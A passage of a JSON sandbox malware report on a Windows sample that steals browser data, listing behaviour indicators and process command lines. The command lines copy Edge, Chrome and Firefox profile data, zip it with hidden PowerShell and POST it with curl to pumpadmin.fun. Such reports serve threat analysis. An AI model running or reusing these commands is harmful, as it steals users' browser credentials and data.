\"icrosoft.PowerShell.Commands.Utility.resources,3.0.0.0,en-US,31bf3856ad364e35\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$4e","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 5659c10619c455ea477287b12cf3f7e7","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Network Related","name":"Makes HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Network Related","name":"Recently renewed or created SSL certificate","description":"Newly renewed or created SSL certificate: \"pumpadmin.fun\" (10 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-4","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"Found HTTPS POST request to https://pumpadmin.fun/c","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Network Related","name":"Short-term SSL certificate detected","description":"Short term registered certificate: \"pumpadmin.fun\" (90 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-3","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"104.21.14.43\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"+ncalrpc:[OLE2FACDF8BC7A9395E505F01196874]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00007064.00000000.112604.064A0000.00000004.mdmp, 00000000-00007064.00000001.113650.064A0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00007064.00000000.112604.064A0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$4f","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"cmd.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"powershell.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to enumerate Windows drive types","description":"\"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00007064)","origin":"API Call","mitre_attack_id":"T1680","relevance":7,"id":"api-327","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"powershell.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff7f0000ff0000000000000008000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00007064)\n \"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"65538\"}","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$50","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Found reference to API \"278,2132,3120,,FindNextFileW,kernel32.dll,\"00:29:19.375\",RX=0,PX=0\" (Indicator: \"FindNextFile\"; Source: \"00000000-00007064.00000000.112604.20BC0000.00000004.mdmp\")\n Found reference to API \"854,3004,3120,,FindNextFileW,kernel32.dll,\"00:29:31.671\",RX=0,PX=0\" (Indicator: \"FindNextFile\"; Source: \"00000000-00007064.00000001.113650.20C64000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve list of files and subdirectories","description":"Found string \"dir\" (Indicator: \"dir\"; Source: \"00000000-00007064.00000000.112604.20BC0000.00000004.mdmp\")\n Found string \"Dir += [\" (Indicator: \"dir \"; Source: \"00000000-00007064.00000001.113650.222DE000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-328","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"Found string \"passwordFormat=\"Hashed\"\" (Indicator: \"password\"; Source: \"00000000-00007064.00000001.113650.209E0000.00000004.mdmp\")\n Found string \"passwordAttemptWindow=\"10\"\" (Indicator: \"password\"; Source: \"00000000-00007064.00000001.113650.209E0000.00000004.mdmp\")\n Found string \"passwordStrengthRegularExpression=\"\" />\" (Indicator: \"password\"; Source: \"00000000-00007064.00000001.113650.209E0000.00000004.mdmp\")\n Found string \"passwordbasedencryption\" (Indicator: \"password\"; Source: \"00000000-00007064.00000001.113650.52810000.00000004.mdmp\")\n Found string \"passwordderivebytes\" (Indicator: \"password\"; Source: \"00000000-00007064.00000001.113650.52830000.00000004.mdmp\")\n Found string \"sha1fornonsecretpurposes\" (Indicator: \"secret\"; Source: \"00000000-00007064.00000001.113650.52850000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"Found string \"whoami /all > \"%O%\\who.txt\" 2>&1\" (Indicator: \"whoami\"; File: \"cmd\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":7,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00007064)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$51","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"Found reference to API \"SeDebugPrivilegej\" (Indicator: \"SeDebugPrivilege\"; Source: \"00000000-00007064.00000000.112604.064A0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"cmd.exe\" opened \"\\Device\\KsecDD\"\n \"whoami.exe\" opened \"\\Device\\KsecDD\"\n \"Robocopy.exe\" opened \"\\Device\\KsecDD\"\n \"powershell.exe\" opened \"\\Device\\KsecDD\"\n \"curl.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$52","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"\"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"0100000000\")\n \"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"INTRANETNAME\"; Value: \"0100000000\")\n \"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"UNCASINTRANET\"; Value: \"0100000000\")\n \"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"AUTODETECT\"; Value: \"0000000000\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"StartupProfileData-NonInteractive\" - Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive]- [targetUID: 00000000-00007064]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 7064)","origin":"API Call","mitre_attack_id":"T1685","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"4/23 Antivirus vendors marked sample as malicious (17% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"suspicious","category":"General","name":"POSTs data to a web server","description":"$53","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 104.21.14.43 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_0fqeueyb.2sc.ps1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_mrmibead.gfx.psm1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_ocul3hwa.ftz.ps1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_wgew1v2q.zof.psm1\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"suspicious","category":"System Security","name":"Modifies Software Policy Settings","description":"\"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-19","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"0100000000\")","origin":"Registry Access","mitre_attack_id":"T1090.001","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"suspicious","category":"System Security","name":"Queries sensitive IE security settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Drops script files inside temp directory","description":"Dropped file: \"__PSScriptPolicyTest_ocul3hwa.ftz.ps1\" - Location: [%TEMP%\\__PSScriptPolicyTest_ocul3hwa.ftz.ps1]- [targetUID: 00000000-00007064]\n Dropped file: \"__PSScriptPolicyTest_0fqeueyb.2sc.ps1\" - Location: [%TEMP%\\__PSScriptPolicyTest_0fqeueyb.2sc.ps1]- [targetUID: 00000000-00007064]","origin":"Binary File","mitre_attack_id":"T1105","relevance":5,"id":"binary-35","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"malicious","category":"Network Related","name":"Application communicates with a malicious domain","description":"Contacted Domain: \"pumpadmin.fun\" has been identified as malicious","origin":"Network Traffic","mitre_attack_id":"T1566","relevance":10,"id":"network-88","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Collects system information using POST request","description":"$54","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":10,"id":"network-40","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns many processes","description":"$55","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]}],"incidents":[{"name":"Spyware","details_count":3,"details":[{"detail":"POSTs data to a web server"},{"detail":"Collects system information using POST request"},{"detail":"Found browser information locations related strings"}],"sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"name":"Persistence","details_count":1,"details":[{"detail":"Spawns many processes"}],"sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"name":"Fingerprint","details_count":3,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries sensitive IE security settings"},{"detail":"Queries the logged on user, group or privileges using Whoami"}],"sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"name":"Evasive","details_count":1,"details":[{"detail":"Writes archive files"}],"sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 host"}],"sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]}],"intel_graph":{"map":{"Domain:pumpadmin.fun":{"type":"Domain","value":"pumpadmin.fun"},"File:03251c1dc2105e78c510bc0feaf9358ae7b7dfce3a7f4806dd5a6d3f7cca3018":{"type":"File","value":"03251c1dc2105e78c510bc0feaf9358ae7b7dfce3a7f4806dd5a6d3f7cca3018"},"File:640cde817c69eb6261d067d155ef96c00d8417a9b0ed498f3fae795b04d82581":{"type":"File","value":"640cde817c69eb6261d067d155ef96c00d8417a9b0ed498f3fae795b04d82581"},"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7":{"type":"File","value":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},"File:9e9810c4624af2c517e98422e0772d1d42cba22a8a3c9f30cef2350fbe4e7369":{"type":"File","value":"9e9810c4624af2c517e98422e0772d1d42cba22a8a3c9f30cef2350fbe4e7369"},"File:f12e8dde651458f015d4477abc30d34f857028bb02700019a9f375b0ffdf410c":{"type":"File","value":"f12e8dde651458f015d4477abc30d34f857028bb02700019a9f375b0ffdf410c"},"Ip:104.21.14.43":{"type":"Ip","value":"104.21.14.43"},"Url:/c":{"type":"Url","value":"/c"}},"chains":[{"id":"sandbox_network","root":"File:f12e8dde651458f015d4477abc30d34f857028bb02700019a9f375b0ffdf410c","edges":[{"edge_kind":"contacted_ip","from_key":"File:f12e8dde651458f015d4477abc30d34f857028bb02700019a9f375b0ffdf410c","to_key":"Ip:104.21.14.43"},{"edge_kind":"contacted_domain","from_key":"File:f12e8dde651458f015d4477abc30d34f857028bb02700019a9f375b0ffdf410c","to_key":"Domain:pumpadmin.fun"},{"edge_kind":"resolves_to","from_key":"Domain:pumpadmin.fun","to_key":"Ip:104.21.14.43"},{"edge_kind":"contacted_url","from_key":"File:f12e8dde651458f015d4477abc30d34f857028bb02700019a9f375b0ffdf410c","to_key":"Url:/c"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}},{"id":"sandbox_files","root":"File:f12e8dde651458f015d4477abc30d34f857028bb02700019a9f375b0ffdf410c","edges":[{"edge_kind":"extracted","from_key":"File:f12e8dde651458f015d4477abc30d34f857028bb02700019a9f375b0ffdf410c","to_key":"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},{"edge_kind":"extracted","from_key":"File:f12e8dde651458f015d4477abc30d34f857028bb02700019a9f375b0ffdf410c","to_key":"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},{"edge_kind":"extracted","from_key":"File:f12e8dde651458f015d4477abc30d34f857028bb02700019a9f375b0ffdf410c","to_key":"File:640cde817c69eb6261d067d155ef96c00d8417a9b0ed498f3fae795b04d82581"},{"edge_kind":"extracted","from_key":"File:f12e8dde651458f015d4477abc30d34f857028bb02700019a9f375b0ffdf410c","to_key":"File:03251c1dc2105e78c510bc0feaf9358ae7b7dfce3a7f4806dd5a6d3f7cca3018"},{"edge_kind":"extracted","from_key":"File:f12e8dde651458f015d4477abc30d34f857028bb02700019a9f375b0ffdf410c","to_key":"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},{"edge_kind":"extracted","from_key":"File:f12e8dde651458f015d4477abc30d34f857028bb02700019a9f375b0ffdf410c","to_key":"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},{"edge_kind":"extracted","from_key":"File:f12e8dde651458f015d4477abc30d34f857028bb02700019a9f375b0ffdf410c","to_key":"File:9e9810c4624af2c517e98422e0772d1d42cba22a8a3c9f30cef2350fbe4e7369"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}}]}},"activity":{"stats":{"process_count":8,"spawned_processes_count":8,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":27,"imported_dlls_count":106,"dropped_files_count":0,"extracted_files_count":7,"files_written_count":11,"files_deleted_count":0,"registry_keys_created_count":0,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":0,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":1,"dns_resolutions_count":1,"contacted_urls_count":1,"http_requests_count":1},"behavior_tags":["new_domain","malicious"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"6af46b8fe2838650c606b17c","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":87,"malware_family":"Trojan.Generic","contacted_countries":["USA"],"submit_name":"cmd","analysis_start_time":"2026-11-11T13:20:16+00:00","indicators_count":{"informative":123,"suspicious":41,"malicious":3},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"104.21.14.43","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]}],"dns_resolutions":[{"domain":"pumpadmin.fun","address":"104.21.14.43","ttl":300,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]}],"http_requests":[{"host":"pumpadmin.fun","host_ip":"104.21.14.43:443","url":"/c","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /c HTTP/1.1\nHost: pumpadmin.fun\nUser-Agent: curl/8.13.0\nAccept: */*\nx-tag: DESKTOP-FVVF82A\nContent-Length: 42077\nContent-Type: application/x-www-form-urlencoded","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}],"processes":[{"pid":860,"ppid":0,"name":"cmd.exe","command_line":"/c \"\"C:\\cmd.bat\" \"","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","normalized_path":"%WINDIR%\\system32\\cmd.exe","uid":"00000000-00000860","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAACWklEQVR4Xu2U208aQRSH/ef70KQvfWgbpQoYxaCNtSByWy7bEqiwVloVZFFAhXjvA3d4OZ3fKBuyDGYWo33ZSU6YwML3zTm/YW7OXvZ6XG/evqPXLDP/xQS+p9LCVzOfCwyHwxerwWBglGWBau2MAmGFWu023d3/pU1/gI718sRz02oc3u/3rQkAvuBepZ14iku4PV4KqWn64HBNPCsqM9yyAMrp2aDC2RUF4j8oltHoz+kFLa56DUHz80/Be72enABa/PGzm8N9kSQVz6/oqHZJh9UGHVTq9DWo0OKKl+ZdK0KJaXBpAcw5ltaoVL+l44sbJpHg7UdthWK8C79PzskXTfLRyMKlBRA2wNRcng4rDb4ffYY9uuBXVCOcsvButysngB/FjyNwaLtIQEnn+B6ysnBpAcDDaobKjTvSG7e81aMRfAvHH7JwWqdgMk2bvoA0XFoAwXIse8i19oX8UZVl4YZl4ZqHscDCuMUklthNwHUslnQO3tV+UTShPgnvdDpyAiMJvLrWNkhnYVSzedpJpNiVvKQlz7rR9kA4SgvOZf6ckxX226GIEG5JYFS4jrHHeWM0kMCfU6Va4wIAZvJFyus12i9VKbV3QPPsPRF8JgH8J+BaImwP4YwacIW1HCcH/P0nBy+tcMLGs04/s9oEvM2+b1nAXOOB283t8bbj5COB3FGZ5yMST07Any0gSjtGgLbj5IAns/t8BCL4swREcAQNgQMQbcfJsfcHI0J4q9WaTWAafPyqQSTD5j7t5IDPJCADF6VdBG82m9MFXrPMfHvZy17/bf0DbjT7Mj+JPksAAAAASUVORK5CYII="},{"pid":188,"ppid":860,"name":"whoami.exe","command_line":"whoami /all","sha256":"1d4902a04d99e8ccbfe7085e63155955fee397449d386453f6c452ae407b8743","normalized_path":"%WINDIR%\\system32\\whoami.exe","parent_uid":"00000000-00000860","uid":"00000000-00000188"},{"pid":8900,"ppid":860,"name":"Robocopy.exe","command_line":"robocopy \"%TEMP%\\vx28417\\edge-Default\" *.log *.ldb /R:0 /W:0 /NJH /NJS /NP","sha256":"42b03b12bd26d23bce6192991e37abe55e5b12e38aa95b2cf1cd46f33eb58716","normalized_path":"%WINDIR%\\system32\\Robocopy.exe","parent_uid":"00000000-00000860","uid":"00000000-00008900"},{"pid":2156,"ppid":860,"name":"Robocopy.exe","command_line":"robocopy \"%TEMP%\\vx28417\\edgeidb-Default\" /E /R:0 /W:0 /NJH /NJS /NP /XD \"https_*\" \"http_*\"","sha256":"42b03b12bd26d23bce6192991e37abe55e5b12e38aa95b2cf1cd46f33eb58716","normalized_path":"%WINDIR%\\system32\\Robocopy.exe","parent_uid":"00000000-00000860","uid":"00000000-00002156"},{"pid":4336,"ppid":860,"name":"Robocopy.exe","command_line":"robocopy \"%TEMP%\\vx28417\\chrome-Default\" *.log *.ldb /R:0 /W:0 /NJH /NJS /NP","sha256":"42b03b12bd26d23bce6192991e37abe55e5b12e38aa95b2cf1cd46f33eb58716","normalized_path":"%WINDIR%\\system32\\Robocopy.exe","parent_uid":"00000000-00000860","uid":"00000000-00004336"},{"pid":8476,"ppid":860,"name":"Robocopy.exe","command_line":"robocopy \"%APPDATA%\\Mozilla\\Firefox\\Profiles\" \"%TEMP%\\vx28417\\ff\" *.json *.db /S /R:0 /W:0 /NJH /NJS /NP","sha256":"42b03b12bd26d23bce6192991e37abe55e5b12e38aa95b2cf1cd46f33eb58716","normalized_path":"%WINDIR%\\system32\\Robocopy.exe","parent_uid":"00000000-00000860","uid":"00000000-00008476"},{"pid":7064,"ppid":860,"name":"powershell.exe","command_line":"powershell -nop -w h -c \"Compress-Archive -Path '%TEMP%\\vx28417\\*' -DestinationPath '%TEMP%\\vx28417.zip' -Force\"","sha256":"9785001b0dcf755eddb8af294a373c0b87b2498660f724e76c4d53f9c217c7a3","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00000860","uid":"00000000-00007064"},{"pid":7628,"ppid":860,"name":"curl.exe","command_line":"-s --max-time 600 -X POST -H \"x-tag:DESKTOP-FVVF82A\" --data-binary @\"%TEMP%\\vx28417.zip\" https://pumpadmin.fun/c -o \"%TEMP%\\vx28417.json\"","sha256":"3345339164cf384eff527b6c3160fea8d849a4231ec6ca80513e3a739e505168","normalized_path":"%WINDIR%\\system32\\curl.exe","parent_uid":"00000000-00000860","uid":"00000000-00007628"}],"all_imported_dlls":["cryptbase.dll","shell32.dll","System.Data.ni.dll","normaliz.dll","FWPUCLNT.DLL","ucrtbase_clr0400.dll","clrjit.dll","System.DirectoryServices.ni.dll","IPHLPAPI.DLL","rsaenh.dll","crypt32.dll","System.Data.dll","System.Configuration.ni.dll","Microsoft.AppV.AppVClientPowerShell.dll","ncryptsslp.dll","netutils.dll","Microsoft.AppV.AppvClientComConsumer.dll","win32u.dll","amsi.dll","System.Management.ni.dll","uxtheme.dll","dnsapi.dll","kernel32.dll","ole32.dll","authz.dll","propsys.dll","virtdisk.dll","schannel.dll","ntdll.dll","user32.dll","gdi32full.dll","msvcp_win.dll","msvcp140.dll","imm32.dll","userenv.dll","urlmon.dll","psapi.dll","msvcrt.dll","version.dll","clr.dll","clbcatq.dll","srvcli.dll","Wldap32.dll","System.ServiceProcess.ni.dll","KernelBase.dll","ws2_32.dll","vcruntime140_1.dll","profapi.dll","wuDEtKE9.dll","System.Drawing.ni.dll","mswsock.dll","nsi.dll","combase.dll","shlwapi.dll","sechost.dll","sspicli.dll","cryptsp.dll","OpcServices.dll","secur32.dll","Microsoft.Management.I